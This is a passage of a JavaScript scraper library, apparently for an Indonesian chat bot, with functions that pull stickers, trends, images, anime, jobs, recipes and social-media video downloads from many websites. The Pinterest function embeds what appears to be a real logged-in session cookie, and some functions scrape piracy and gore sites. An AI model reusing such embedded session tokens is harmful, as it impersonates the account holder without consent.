229 | durasi: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(9)').text().split(' Durasi: ')[1],
230 | skor: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(10)').text().split(' Skor: ')[1],
231 | kualitas: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(11)').text().split(' Kualitas: ')[1],
232 | jenis: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(12)').text().split(' Jenis: ')[1]
233 | }
234 | resolve(info)
235 | })
236 | })
237 | }
238 | exports.stickersearch = async (query) => {
239 | return new Promise((resolve) => {
240 | axios.get(`https://getstickerpack.com/stickers?query=${query}`)
241 | .then(({
242 | data
243 | }) => {
244 | const $ = cheerio.load(data)
245 | const link = [];
246 | $('#stickerPacks > div > div:nth-child(3) > div > a').each(function(a, b) {
247 | link.push($(b).attr('href'))
248 | })
249 | rand = link[Math.floor(Math.random() * link.length)]
250 | axios.get(rand)
251 | .then(({
252 | data
253 | }) => {
254 | const $$ = cheerio.load(data)
255 | const url = [];
256 | $$('#stickerPack > div > div.row > div > img').each(function(a, b) {
257 | url.push($$(b).attr('src').split('&d=')[0])
258 | })
259 | resolve({
260 | creator: 'Alice Project',
261 | title: $$('#intro > div > div > h1').text(),
262 | author: $$('#intro > div > div > h5 > a').text(),
263 | author_link: $$('#intro > div > div > h5 > a').attr('href'),
264 | sticker: url
265 | })
266 | })
267 | })
268 | })
269 | }
270 | exports.randomtt = async (query) => {
271 | return new Promise((resolve, reject) => {
272 | axios.get('https://brainans.com/search?query=' + query)
273 | .then(({
274 | data
275 | }) => {
276 | const $ = cheerio.load(data)
277 | const luser = $('#search-container > div:nth-child(1) > div.content__text > a').attr('href')
278 | axios.get('https://brainans.com/' + luser)
279 | .then(({
280 | data
281 | }) => {
282 | const $$ = cheerio.load(data)
283 | vlink = [];
284 | $$('#videos_container > div > div.content__list.grid.infinite_scroll.cards > div > div > a').each(function(a, b) {
285 | vlink.push('https://brainans.com/' + $$(b).attr('href'))
286 | })
287 | randomarray(vlink).then(res => {
288 | axios.get(res)
289 | .then(({
290 | data
291 | }) => {
292 | const $$$ = cheerio.load(data)
293 | resolve({
294 | username: $$$('#card-page > div > div.row > div > div > div > div > div.main__user-desc.align-self-center.ml-2 > a').text(),
295 | caption: $$$('#card-page > div > div.row > div > div > div.main__info.mb-4 > div.main__list').text(),
296 | like_count: $$$('#card-page > div > div.row > div > div > div.main__info.mb-4 > div > div:nth-child(1) > span').text(),
297 | comment_count: $$$('#card-page > div > div.row > div > div > div.main__info.mb-4 > div.content__btns.d-flex > div:nth-child(2) > span').text(),
298 | share_count: $$$('#card-page > div > div.row > div > div > div.main__info.mb-4 > div.content__btns.d-flex > div:nth-child(3) > span').text(),
299 | videourl: $$$('#card-page > div > div.row > div > div > div.main__info.mb-4 > div.main__image-container > div > video').attr('src')
300 | })
301 | })
302 | })
303 | })
304 | })
305 | })
306 | }
307 | exports.trendtwit = async (country) => {
308 | return new Promise((resolve, reject) => {
309 | axios.get(`https://getdaytrends.com/${country}/`)
310 | .then(({
311 | data
312 | }) => {
313 | const $ = cheerio.load(data)
314 | const hastag = [];
315 | const tweet = [];
316 | const result = [];
317 | $('#trends > table.table.table-hover.text-left.clickable.ranking.trends.wider.mb-0 > tbody > tr> td.main > a').each(function(a, b) {
318 | deta = $(b).text()
319 | hastag.push(deta)
320 | })
321 | $('#trends > table.table.table-hover.text-left.clickable.ranking.trends.wider.mb-0 > tbody > tr > td.main > div > span').each(function(a, b) {
322 | deta = $(b).text()
323 | tweet.push(deta)
324 | })
325 | num = 1
326 | for (let i = 0; i < hastag.length; i++) {
327 | result.push({
328 | rank: num,
329 | hastag: hastag[i],
330 | tweet: tweet[i]
331 | })
332 | num += 1
333 | }
334 | resolve({
335 | country: country,
336 | result: result
337 | })
338 | })
339 | .catch(reject)
340 | })
341 | }
342 | exports.pinterest = async (querry) => {
343 | return new Promise(async (resolve, reject) => {
344 | axios.get('https://id.pinterest.com/search/pins/?autologin=true&q=' + querry, {
345 | headers: {
346 | "cookie": "_auth=1; _b=\"AVna7S1p7l1C5I9u0+nR3YzijpvXOPc6d09SyCzO+DcwpersQH36SmGiYfymBKhZcGg=\"; _pinterest_sess=TWc9PSZHamJOZ0JobUFiSEpSN3Z4a2NsMk9wZ3gxL1NSc2k2NkFLaUw5bVY5cXR5alZHR0gxY2h2MVZDZlNQalNpUUJFRVR5L3NlYy9JZkthekp3bHo5bXFuaFZzVHJFMnkrR3lTbm56U3YvQXBBTW96VUgzVUhuK1Z4VURGKzczUi9hNHdDeTJ5Y2pBTmxhc2owZ2hkSGlDemtUSnYvVXh5dDNkaDN3TjZCTk8ycTdHRHVsOFg2b2NQWCtpOWxqeDNjNkk3cS85MkhhSklSb0hwTnZvZVFyZmJEUllwbG9UVnpCYVNTRzZxOXNJcmduOVc4aURtM3NtRFo3STlmWjJvSjlWTU5ITzg0VUg1NGhOTEZzME9SNFNhVWJRWjRJK3pGMFA4Q3UvcHBnWHdaYXZpa2FUNkx6Z3RNQjEzTFJEOHZoaHRvazc1c1UrYlRuUmdKcDg3ZEY4cjNtZlBLRTRBZjNYK0lPTXZJTzQ5dU8ybDdVS015bWJKT0tjTWYyRlBzclpiamdsNmtpeUZnRjlwVGJXUmdOMXdTUkFHRWloVjBMR0JlTE5YcmhxVHdoNzFHbDZ0YmFHZ1VLQXU1QnpkM1FqUTNMTnhYb3VKeDVGbnhNSkdkNXFSMXQybjRGL3pyZXRLR0ZTc0xHZ0JvbTJCNnAzQzE0cW1WTndIK0trY05HV1gxS09NRktadnFCSDR2YzBoWmRiUGZiWXFQNjcwWmZhaDZQRm1UbzNxc21pV1p5WDlabm1UWGQzanc1SGlrZXB1bDVDWXQvUis3elN2SVFDbm1DSVE5Z0d4YW1sa2hsSkZJb1h0MTFpck5BdDR0d0lZOW1Pa2RDVzNySWpXWmUwOUFhQmFSVUpaOFQ3WlhOQldNMkExeDIvMjZHeXdnNjdMYWdiQUhUSEFBUlhUVTdBMThRRmh1ekJMYWZ2YTJkNlg0cmFCdnU2WEpwcXlPOVZYcGNhNkZDd051S3lGZmo0eHV0ZE42NW8xRm5aRWpoQnNKNnNlSGFad1MzOHNkdWtER0xQTFN5Z3lmRERsZnZWWE5CZEJneVRlMDd2VmNPMjloK0g5eCswZUVJTS9CRkFweHc5RUh6K1JocGN6clc1JmZtL3JhRE1sc0NMTFlpMVErRGtPcllvTGdldz0=; _ir=0"
347 | }
348 | }).then(({
349 | data
350 | }) => {
351 | const $ = cheerio.load(data)
352 | const result = [];
353 | const hasil = [];
354 | $('div > a').get().map(b => {
355 | const link = $(b).find('img').attr('src')
356 | result.push(link)
357 | });
358 | result.forEach(v => {
359 | if (v == undefined) return
360 | hasil.push(v.replace(/236/g, '736'))
361 | })
362 | hasil.shift();
363 | resolve(hasil)
364 | })
365 | })
366 | }
367 | exports.zerochan = async (query) => {
368 | return new Promise((resolve, reject) => {
369 | axios.get('https://www.zerochan.net/search?q=' + query)
370 | .then(({
371 | data
372 | }) => {
373 | const $ = cheerio.load(data)
374 | const judul = [];
375 | const result = [];
376 | const id = [];
377 | $('#thumbs2 > li > a > img').each(function(a, b) {
378 | if (!$(b).attr('alt').startsWith('https://static.zerochan.net/')) {
379 | judul.push($(b).attr('alt'))
380 | }
381 | })
382 | $('#thumbs2 > li > a').each(function(a, b) {
383 | id.push($(b).attr('href'))
384 | })
385 | for (let i = 0; i < judul.length; i++) {
386 | result.push('https://s1.zerochan.net/' + judul[i].replace(/\ /g, '.') + '.600.' + id[i].split('/')[1] + '.jpg')
387 | }
388 | resolve({
389 | creator: 'Alice Project',
390 | result: result
391 | })
392 | })
393 | .catch(reject)
394 | })
395 | }
396 | exports.happymoddl = async (link) => {
397 | return new Promise((resolve, reject) => {
398 | axios.get(link)
399 | .then(({
400 | data
401 | }) => {
402 | const $ = cheerio.load(data)
403 | const link = [];
404 | const jlink = [];
405 | const result = [];
406 | const title = $('body > div > div.container-left > section:nth-child(1) > div > h1').text()
407 | const info = $('body > div > div.container-left > section:nth-child(1) > div > ul').text()
408 | $('body > div.container-row.clearfix.container-wrap.pdt-font-container > div.container-left > section:nth-child(1) > div > div:nth-child(3) > div > p > a').each(function(a, b) {
409 | deta = $(b).text();
410 | jlink.push(deta)
411 | if ($(b).attr('href').startsWith('/')) {
412 | link.push('https://happymod.com' + $(b).attr('href'))
413 | } else {
414 | link.push($(b).attr('href'))
415 | }
416 | })
417 | for (let i = 0; i < link.length; i++) {
418 | result.push({
419 | title: jlink[i],
420 | dl_link: link[i]
421 | })
422 | }
423 | console.log(link)
424 | resolve({
425 | creator: 'Alice Project',
426 | title: title,
427 | info: info.replace(/\t|- /g, ''),
428 | download: link
429 | })
430 | })
431 | .catch(reject)
432 | })
433 | }
434 | exports.goredl = async (link) => {
435 | return new Promise(async (resolve, reject) => {
436 | axios.get(link)
437 | .then(({
438 | data
439 | }) => {
440 | const $$ = cheerio.load(data)
441 | const format = {
442 | judul: $$('div.single-main-container > div > div.bb-col.col-content > div > div > div > div > header > h1').text(),
443 | views: $$('div.single-main-container > div > div.bb-col.col-content > div > div > div > div > div.s-post-meta-block.bb-mb-el > div > div > div.col-r.d-table-cell.col-md-6.col-sm-6.text-right-sm > div > span > span.count').text(),
444 | comment: $$('div.single-main-container > div > div.bb-col.col-content > div > div > div > div > div.s-post-meta-block.bb-mb-el > div > div > div.col-r.d-table-cell.col-md-6.col-sm-6.text-right-sm > div > a > span.count').text(),
445 | link: $$('video > source').attr('src')
446 | }
447 | const result = {
448 | creator: 'Alice Project',
449 | data: format
450 | }
451 | resolve(result)
452 | })
453 | .catch(reject)
454 | })
455 | }
456 | exports.chara = async (query) => {
457 | return new Promise((resolve, reject) => {
458 | axios.get(`https://www.anime-planet.com/characters/all?name=${query}&sort=likes&order=desc`)
459 | .then((data) => {
460 | const $ = cheerio.load(data.data)
461 | const linkp = $('#siteContainer > table > tbody > tr:nth-child(1) > td.tableCharInfo > a').attr('href')
462 | axios.get('https://www.anime-planet.com' + linkp)
463 | .then((data) => {
464 | //console.log(data.data)
465 | const $$ = cheerio.load(data.data)
466 | resolve({
467 | nama: $$('#siteContainer > h1').text(),
468 | gender: $$('#siteContainer > section.pure-g.entryBar > div:nth-child(1)').text().split('\nGender: ')[1],
469 | warna_rambut: $$('#siteContainer > section.pure-g.entryBar > div:nth-child(2)').text().split('\nHair Color: ')[1],
470 | warna_mata: $$('#siteContainer > section:nth-child(11) > div > div > div > div > div:nth-child(1) > div').text().split('\n')[1],
471 | gol_darah: $$('#siteContainer > section:nth-child(11) > div > div > div > div > div:nth-child(2) > div').text().split('\n')[1],
472 | birthday: $$('#siteContainer > section:nth-child(11) > div > div > div > div > div:nth-child(3) > div').text().split('\n')[1],
473 | description: $$('#siteContainer > section:nth-child(11) > div > div > div > div:nth-child(1) > p').text()
474 | })
475 | })
476 | })
477 | .catch(reject)
478 | })
479 | }
480 | exports.anime = async (query) => {
481 | return new Promise((resolve, reject) => {
482 | axios.get(`https://www.anime-planet.com/anime/all?name=${query}`)
483 | .then((data) => {
484 | const $ = cheerio.load(data.data)
485 | const result = [];
486 | const judul = [];
487 | const link = [];
488 | const thumb = [];
489 | $('#siteContainer > ul.cardDeck.cardGrid > li > a > h3').each(function(a, b) {
490 | deta = $(b).text();
491 | judul.push(deta)
492 | })
493 | $('#siteContainer > ul.cardDeck.cardGrid > li > a').each(function(a, b) {
494 | link.push('https://www.anime-planet.com' + $(b).attr('href'))
495 | })
496 | $('#siteContainer > ul.cardDeck.cardGrid > li > a > div.crop > img').each(function(a, b) {
497 | thumb.push('https://www.anime-planet.com' + $(b).attr('src'))
498 | })
499 | for (let i = 0; i < judul.length; i++) {
500 | result.push({
501 | judul: judul[i],
502 | thumb: thumb[i],
503 | link: link[i]
504 | })
505 | }
506 | resolve(result)
507 | })
508 | .catch(reject)
509 | })
510 | }
511 | exports.manga = async (query) => {
512 | return new Promise((resolve, reject) => {
513 | axios.get(`https://www.anime-planet.com/manga/all?name=${query}`)
514 | .then((data) => {
515 | const $ = cheerio.load(data.data)
516 | const result = [];
517 | const judul = [];
518 | const link = [];
519 | const thumb = [];
520 | $('#siteContainer > ul.cardDeck.cardGrid > li > a > h3').each(function(a, b) {
521 | deta = $(b).text();
522 | judul.push(deta)
523 | })
524 | $('#siteContainer > ul.cardDeck.cardGrid > li > a').each(function(a, b) {
525 | link.push('https://www.anime-planet.com' + $(b).attr('href'))
526 | })
527 | $('#siteContainer > ul.cardDeck.cardGrid > li > a > div.crop > img').each(function(a, b) {
528 | thumb.push('https://www.anime-planet.com' + $(b).attr('src'))
529 | })
530 | for (let i = 0; i < judul.length; i++) {
531 | result.push({
532 | judul: judul[i],
533 | thumb: thumb[i],
534 | link: link[i]
535 | })
536 | }
537 | resolve(result)
538 | })
539 | .catch(reject)
540 | })
541 | }
542 | exports.job = async (query) => {
543 | return new Promise((resolve, reject) => {
544 | axios.get(`https://www.jobstreet.co.id/id/job-search/${query}-jobs/`)
545 | .then((data) => {
546 | //console.log(data.data)
547 | const $ = cheerio.load(data.data)
548 | const job = [];
549 | const perusahaan = [];
550 | const daerah = [];
551 | const format = [];
552 | const link = [];
553 | const upload = [];
554 | $('#jobList > div > div:nth-child(3) > div > div > div > div > article > div > div > div > div > div > h1 > a > div').each(function(a, b) {
555 | deta = $(b).text();
556 | job.push(deta)
557 | })
558 | $('#jobList > div > div:nth-child(3) > div > div > div > div > article > div > div > div > div > div > span').each(function(a, b) {
559 | deta = $(b).text();
560 | perusahaan.push(deta)
561 | })
562 | $('#jobList > div > div:nth-child(3) > div > div > div > div > article > div > div > div > div > span > span').each(function(a, b) {
563 | deta = $(b).text();
564 | daerah.push(deta)
565 | })
566 | $('#jobList > div > div:nth-child(3) > div > div > div > div > article > div > div > div > div > div > h1 > a').each(function(a, b) {
567 | link.push($(b).attr('href'))
568 | })
569 | $('#jobList > div > div:nth-child(3) > div > div > div > div > article > div > div > div.sx2jih0.zcydq852.zcydq842.zcydq872.zcydq862.zcydq82a.zcydq832.zcydq8d2.zcydq8cq > div.sx2jih0.zcydq832.zcydq8cq.zcydq8c6.zcydq882 > time > span').each(function(a, b) {
570 | deta = $(b).text();
571 | upload.push(deta)
572 | })
573 | for (let i = 0; i < job.length; i++) {
574 | format.push({
575 | job: job[i],
576 | perusahaan: perusahaan[i],
577 | daerah: daerah[i],
578 | upload: upload[i],
579 | link_Detail: 'https://www.jobstreet.co.id' + link[i]
580 | })
581 | }
582 | resolve(format)
583 | })
584 | .catch(reject)
585 | })
586 | }
587 | exports.anoboys = async (query) => {
588 | return new Promise((resolve, reject) => {
589 | axios.get('https://anoboy.media/?s=' + query)
590 | .then(({
591 | data
592 | }) => {
593 | const $ = cheerio.load(data)
594 | const format = [];
595 | const link = [];
596 | const judul = [];
597 | const thumb = [];
598 | const uptime = [];
599 | $('body > div.wrap > div.container > div.column-content > a > div > div.amvj > h3').each(function(a, b) {
600 | jud = $(b).text();
601 | judul.push(jud)
602 | })
603 | $('body > div.wrap > div.container > div.column-content > a > div > div.jamup').each(function(c, d) {
604 | upt = $(d).text();
605 | uptime.push(upt)
606 | })
607 | $('body > div.wrap > div.container > div.column-content > a > div > amp-img').each(function(e, f) {
608 | thumb.push($(f).attr('src'))
609 | })
610 | $('body > div.wrap > div.container > div.column-content > a').each(function(g, h) {
611 | link.push($(h).attr('href'))
612 | })
613 | for (let i = 0; i < link.length; i++) {
614 | format.push({
615 | judul: judul[i],
616 | thumb: thumb[i],
617 | link: link[i]
618 | })
619 | }
620 | const result = {
621 | status: data.status,
622 | creator: 'Alice Project',
623 | data: format
624 | }
625 | resolve(result)
626 | })
627 | .catch(reject)
628 | })
629 | }
630 | exports.anoboydl = async (query) => {
631 | return new Promise((resolve, reject) => {
632 | axios.get(query)
633 | .then(({
634 | data
635 | }) => {
636 | const $ = cheerio.load(data)
637 | resolve({
638 | judul: $('body > div.wrap > div.container > div.pagetitle > h1').text(),
639 | uptime: $('body > div.wrap > div.container > div.pagetitle > div > div > span > time').text(),
640 | direct_link: $('#tontonin > source').attr('src'),
641 | mforu: {
642 | SD: $('#colomb > p > span:nth-child(1) > a:nth-child(3)').attr('href'),
643 | HD: $('#colomb > p > span:nth-child(1) > a:nth-child(5)').attr('href')
644 | },
645 | zippy: {
646 | SD: $('#colomb > p > span:nth-child(3) > a:nth-child(3)').attr('href'),
647 | HD: $('#colomb > p > span:nth-child(3) > a:nth-child(5)').attr('href')
648 | },
649 | mirror: {
650 | SD: $('#colomb > p > span:nth-child(5) > a:nth-child(3)').attr('href'),
651 | HD: $('#colomb > p > span:nth-child(5) > a:nth-child(5)').attr('href')
652 | }
653 | })
654 | })
655 | .catch(reject)
656 | })
657 | }
658 | exports.film = async (query) => {
659 | return new Promise((resolve, reject) => {
660 | axios.get(`http://167.99.71.200/?s=${query}`)
661 | .then((data) => {
662 | const $ = cheerio.load(data.data)
663 | const judul = [];
664 | const genre = [];
665 | const thumb = [];
666 | const link = [];
667 | const format = [];
668 | $('div > div.item-article > header > h2 > a').each(function(a, b) {
669 | deta = $(b).text();
670 | judul.push(deta)
671 | })
672 | $('div > div.item-article > header > div.gmr-movie-on').each(function(a, b) {
673 | deta = $(b).text();
674 | genre.push(deta)
675 | })
676 | $('div > div.content-thumbnail.text-center > a > img').each(function(a, b) {
677 | thumb.push($(b).attr('src'))
678 | })
679 | $('div > div.item-article > header > div.gmr-watch-movie > a').each(function(a, b) {
680 | link.push($(b).attr('href'))
681 | })
682 | for (let i = 0; i < judul.length; i++) {
683 | format.push({
684 | judul: judul[i],
685 | genre: genre[i],
686 | thumb: thumb[i],
687 | link_nonton: link[i]
688 | })
689 | }
690 | if (format == '') {
691 | resolve({
692 | status: 'error'
693 | })
694 | } else {
695 | resolve(format)
696 | }
697 | })
698 | .catch(reject)
699 | })
700 | }
701 | exports.webtoons = async (query) => {
702 | return new Promise((resolve, reject) => {
703 | axios.get(`https://www.webtoons.com/id/search?keyword=${query}`)
704 | .then((data) => {
705 | const $ = cheerio.load(data.data)
706 | const judul = [];
707 | const genre = [];
708 | const author = [];
709 | const link = [];
710 | const likes = [];
711 | const format = [];
712 | $('#content > div > ul > li > a > div > p.subj').each(function(a, b) {
713 | deta = $(b).text();
714 | judul.push(deta)
715 | })
716 | $('div > ul > li > a > span').each(function(a, b) {
717 | deta = $(b).text();
718 | genre.push(deta)
719 | })
720 | $('div > ul > li > a > div > p.author').each(function(a, b) {
721 | deta = $(b).text();
722 | author.push(deta)
723 | })
724 | $('div > ul > li > a > div > p.grade_area > em').each(function(a, b) {
725 | deta = $(b).text();
726 | likes.push(deta)
727 | })
728 | $('#content > div > ul > li > a').each(function(a, b) {
729 | link.push($(b).attr('href'))
730 | })
731 | for (let i = 0; i < judul.length; i++) {
732 | format.push({
733 | judul: judul[i],
734 | genre: genre[i],
735 | author: author[i],
736 | likes: likes[i],
737 | link: 'https://www.webtoons.com' + link[i]
738 | })
739 | }
740 | if (likes == '') {
741 | resolve({
742 | status: `${query} tidak dapat ditemukan/error`
743 | })
744 | } else {
745 | resolve(format)
746 | }
747 | })
748 | .catch(reject)
749 | })
750 | }
751 | exports.soundcloud = async (link) => {
752 | return new Promise((resolve, reject) => {
753 | const options = {
754 | method: 'POST',
755 | url: "https://www.klickaud.co/download.php",
756 | headers: {
757 | 'content-type': 'application/x-www-form-urlencoded'
758 | },
759 | formData: {
760 | 'value': link,
761 | '2311a6d881b099dc3820600739d52e64a1e6dcfe55097b5c7c649088c4e50c37': '710c08f2ba36bd969d1cbc68f59797421fcf90ca7cd398f78d67dfd8c3e554e3'
762 | }
763 | };
764 | request(options, async function(error, response, body) {
765 | console.log(body)
766 | if (error) throw new Error(error);
767 | const $ = cheerio.load(body)
768 | resolve({
769 | judul: $('#header > div > div > div.col-lg-8 > div > table > tbody > tr > td:nth-child(2)').text(),
770 | download_count: $('#header > div > div > div.col-lg-8 > div > table > tbody > tr > td:nth-child(3)').text(),
771 | thumb: $('#header > div > div > div.col-lg-8 > div > table > tbody > tr > td:nth-child(1) > img').attr('src'),
772 | link: $('#dlMP3').attr('onclick').split(`downloadFile('`)[1].split(`',`)[0]
773 | });
774 | });
775 | })
776 | }
777 | exports.facebook = async (url) => {
778 | return new Promise(async(resolve, reject) => {
779 | await axios.get('https://downvideo.net/').then(gdata => {
780 | const a = cheerio.load(gdata.data)
781 | const token = a('body > div > center > div.col-md-10 > form > div > input[type=hidden]:nth-child(2)').attr('value')
782 | const options = {
783 | method: "POST",
784 | url: `https://downvideo.net/download.php`,
785 | headers: {
786 | "content-type": 'application/x-www-form-urlencoded',
787 | "cookie": gdata["headers"]["set-cookie"],
788 | "user-agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36'
789 | },
790 | formData: {
791 | URL: url,
792 | token: token,
793 | },
794 | };
795 | request(options, async function(error, response, body) {
796 | if (error) throw new Error(error)
797 | const $ = cheerio.load(body)
798 | const result = {
799 | status: 200,
800 | title: $('body').find('div:nth-child(1) > h4').text(),
801 | sd: $('#sd > a').attr('href'),
802 | hd: $('body').find('div:nth-child(7) > a').attr('href')
803 | }
804 | resolve(result)
805 | })
806 | })
807 | })
808 | }
809 | exports.tiktok = async (url) => {
810 | try {
811 | const tokenn = await axios.get("https://downvideo.quora-wiki.com/tiktok-video-downloader#url=" + url);
812 | let a = cheerio.load(tokenn.data);
813 | let token = a("#token").attr("value");
814 | const param = {
815 | url: url,
816 | token: token,
817 | };
818 | const { data } = await axios.request("https://downvideo.quora-wiki.com/system/action.php", {
819 | method: "post",
820 | data: new URLSearchParams(Object.entries(param)),
821 | headers: {
822 | "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
823 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36",
824 | "referer": "https://downvideo.quora-wiki.com/tiktok-video-downloader",
825 | },
826 | }
827 | );
828 | return {
829 | status: 200,
830 | title: data.title,
831 | thumbnail: "https:" + data.thumbnail,
832 | duration: data.duration,
833 | media: data.medias,
834 | };
835 | } catch (e) {
836 | return e
837 | }
838 | }
839 | exports.instagram = async (url) => {
840 | return new Promise(async(resolve, reject) => {
841 | axios.request({
842 | url: 'https://www.instagramsave.com/download-instagram-videos.php',
843 | method: 'GET',
844 | headers:{
845 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
846 | "cookie": "PHPSESSID=ugpgvu6fgc4592jh7ht9d18v49; _ga=GA1.2.1126798330.1625045680; _gid=GA1.2.1475525047.1625045680; __gads=ID=92b58ed9ed58d147-221917af11ca0021:T=1625045679:RT=1625045679:S=ALNI_MYnQToDW3kOUClBGEzULNjeyAqOtg"
847 | }
848 | })
849 | .then(({ data }) => {
850 | const $ = cheerio.load(data)
851 | const token = $('#token').attr('value')
852 | let config ={
853 | headers: {
854 | 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
855 | "sec-ch-ua": '" Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"',
856 | "cookie": "PHPSESSID=ugpgvu6fgc4592jh7ht9d18v49; _ga=GA1.2.1126798330.1625045680; _gid=GA1.2.1475525047.1625045680; __gads=ID=92b58ed9ed58d147-221917af11ca0021:T=1625045679:RT=1625045679:S=ALNI_MYnQToDW3kOUClBGEzULNjeyAqOtg",
857 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
858 | },
859 | data: {
860 | 'url': url,
861 | 'action': 'post',
862 | 'token': token
863 | }
864 | }
865 | axios.post('https://www.instagramsave.com/system/action.php',qs.stringify(config.data), { headers: config.headers })
866 | .then(({ data }) => {
867 | resolve(data)
868 | })
869 | })
870 | .catch(reject)
871 | })
872 | }
873 | exports.ssweb = (url, device = 'desktop') => {
874 | return new Promise((resolve, reject) => {
875 | const base = 'https://www.screenshotmachine.com'
876 | const param = {
877 | url: url,
878 | device: device,
879 | cacheLimit: 0
880 | }
881 | axios({url: base + '/capture.php',
882 | method: 'POST',
883 | data: new URLSearchParams(Object.entries(param)),
884 | headers: {
885 | 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8'
886 | }
887 | }).then((data) => {
888 | const cookies = data.headers['set-cookie']
889 | if (data.data.status == 'success') {
890 | axios.get(base + '/' + data.data.link, {
891 | headers: {
892 | 'cookie': cookies.join('')
893 | },
894 | responseType: 'arraybuffer'
895 | }).then(({ data }) => {
896 | result = {
897 | status: 200,
898 | result: data
899 | }
900 | resolve(result)
901 | })
902 | } else {
903 | reject({ status: 404, statuses: `Link Error`, message: data.data })
904 | }
905 | }).catch(reject)
906 | })
907 | }
908 | exports.pinterestdl = async(url) => {
909 | return new Promise((resolve, reject) => {
910 | const options = {
911 | method: 'POST',
912 | url: `https://www.expertsphp.com/facebook-video-downloader.php`,
913 | headers: {
914 | "content-type": "application/x-www-form-urlencoded",
915 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36",
916 | "cookie": "__gads=ID=a826d8f71f32cdce-228526c6c4d30038:T=1656127044:RT=1656127044:S=ALNI_Mbc0q65XMPrQjf8pqxKtg_DfBEnNw; __gpi=UID=0000068f7e0217a6:T=1656127044:RT=1656334216:S=ALNI_MYDy-jLWlGuI8I9ZeSAgcTfDaJohQ; _gid=GA1.2.1776710921.1656334217; _gat_gtag_UA_120752274_1=1; _ga_D1XX1R246W=GS1.1.1656354473.4.1.1656354584.0; _ga=GA1.2.136312705.1656127045"
917 | },
918 | formData: {url: url}
919 | }
920 | request(options, async function(error, response, body) {
921 | if (error) throw new Error(error);
922 | const $ = cheerio.load(body)
923 | const hasil = [];
924 | $('#showdata > div:nth-child(4) > table > tbody > tr ').each(function(a, b) {
925 | const result = {
926 | status: 200,
927 | quality: $(b).find('> td:nth-child(2) > strong').text(),
928 | format: $(b).find('> td:nth-child(3) > strong').text(),
929 | url: $(b).find('> td:nth-child(1) > a').attr('href')
930 | }
931 | hasil.push(result)
932 | })
933 | resolve(hasil)
934 | });
935 | })
936 | }
937 | exports.gempa = async () => {
938 | return new Promise(async (resolve, reject) => {
939 | axios.get('https://www.bmkg.go.id/gempabumi/gempabumi-dirasakan.bmkg')
940 | .then(({
941 | data
942 | }) => {
943 | const $ = cheerio.load(data)
944 | const drasa = [];
945 | $('table > tbody > tr:nth-child(1) > td:nth-child(6) > span').get().map((rest) => {
946 | dir = $(rest).text();
947 | drasa.push(dir.replace('\t', ' '))
948 | })
949 | teks = ''
950 | for (let i = 0; i < drasa.length; i++) {
951 | teks += drasa[i] + '\n'
952 | }
953 | const rasa = teks
954 | const format = {
955 | imagemap: $('div.modal-body > div > div:nth-child(1) > img').attr('src'),
956 | magnitude: $('table > tbody > tr:nth-child(1) > td:nth-child(4)').text(),
957 | kedalaman: $('table > tbody > tr:nth-child(1) > td:nth-child(5)').text(),
958 | wilayah: $('table > tbody > tr:nth-child(1) > td:nth-child(6) > a').text(),
959 | waktu: $('table > tbody > tr:nth-child(1) > td:nth-child(2)').text(),
960 | lintang_bujur: $('table > tbody > tr:nth-child(1) > td:nth-child(3)').text(),
961 | dirasakan: rasa
962 | }
963 | const result = {
964 | creator: 'Alice Project',
965 | data: format
966 | }
967 | resolve(result)
968 | })
969 | .catch(reject)
970 | })
971 | }
972 | exports.cariresep = async (query) => {
973 | return new Promise(async (resolve, reject) => {
974 | axios.get('https://resepkoki.id/?s=' + query)
975 | .then(({
976 | data
977 | }) => {
978 | const $ = cheerio.load(data)
979 | const link = [];
980 | const judul = [];
981 | const upload_date = [];
982 | const format = [];
983 | const thumb = [];
984 | $('body > div.all-wrapper.with-animations > div:nth-child(5) > div > div.archive-posts.masonry-grid-w.per-row-2 > div.masonry-grid > div > article > div > div.archive-item-media > a').each(function(a, b) {
985 | link.push($(b).attr('href'))
986 | })
987 | $('body > div.all-wrapper.with-animations > div:nth-child(5) > div > div.archive-posts.masonry-grid-w.per-row-2 > div.masonry-grid > div > article > div > div.archive-item-content > header > h3 > a').each(function(c, d) {
988 | jud = $(d).text();
989 | judul.push(jud)
990 | })
991 | for (let i = 0; i < link.length; i++) {
992 | format.push({
993 | judul: judul[i],
994 | link: link[i]
995 | })
996 | }
997 | const result = {
998 | creator: 'Alice Project',
999 | data: format
1000 | }
1001 | resolve(result)
1002 | })
1003 | .catch(reject)
1004 | })
1005 | }
1006 | exports.bacaresep = async (query) => {
1007 | return new Promise(async (resolve, reject) => {
1008 | axios.get(query)
1009 | .then(({
1010 | data
1011 | }) => {
1012 | const $ = cheerio.load(data)
1013 | const abahan = [];
1014 | const atakaran = [];
1015 | const atahap = [];
1016 | $('body > div.all-wrapper.with-animations > div.single-panel.os-container > div.single-panel-details > div > div.single-recipe-ingredients-nutritions > div > table > tbody > tr > td:nth-child(2) > span.ingredient-name').each(function(a, b) {
1017 | bh = $(b).text();
1018 | abahan.push(bh)
1019 | })
1020 | $('body > div.all-wrapper.with-animations > div.single-panel.os-container > div.single-panel-details > div > div.single-recipe-ingredients-nutritions > div > table > tbody > tr > td:nth-child(2) > span.ingredient-amount').each(function(c, d) {
1021 | uk = $(d).text();
1022 | atakaran.push(uk)
1023 | })
